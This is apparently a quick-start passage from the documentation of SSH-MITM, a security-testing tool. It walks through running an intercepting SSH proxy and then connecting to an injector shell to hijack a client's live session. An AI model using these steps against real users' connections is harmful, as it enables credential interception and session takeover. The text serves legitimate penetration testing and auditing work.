To install SSH-MITM, simply run this command in your terminal of choice:
$ chmod +x ssh-mitm*.AppImage
To start an intercepting mitm-ssh server on Port 10022,
all you have to do is run a single command.
$ ./ssh-mitm*.AppImage --remote-host 192.168.0.x
Now let's try to connect to the ssh-mitm server.
$ ssh -p 10022 user@proxyserver
When a client connects, the ssh-mitm starts a new server, which is used for session hijacking.
[INFO] created injector shell on port 34463
To hijack this session, you can use your favorite ssh client.
All you have to do is to connect to the hijacked session.
$ ssh -p 34463 127.0.0.1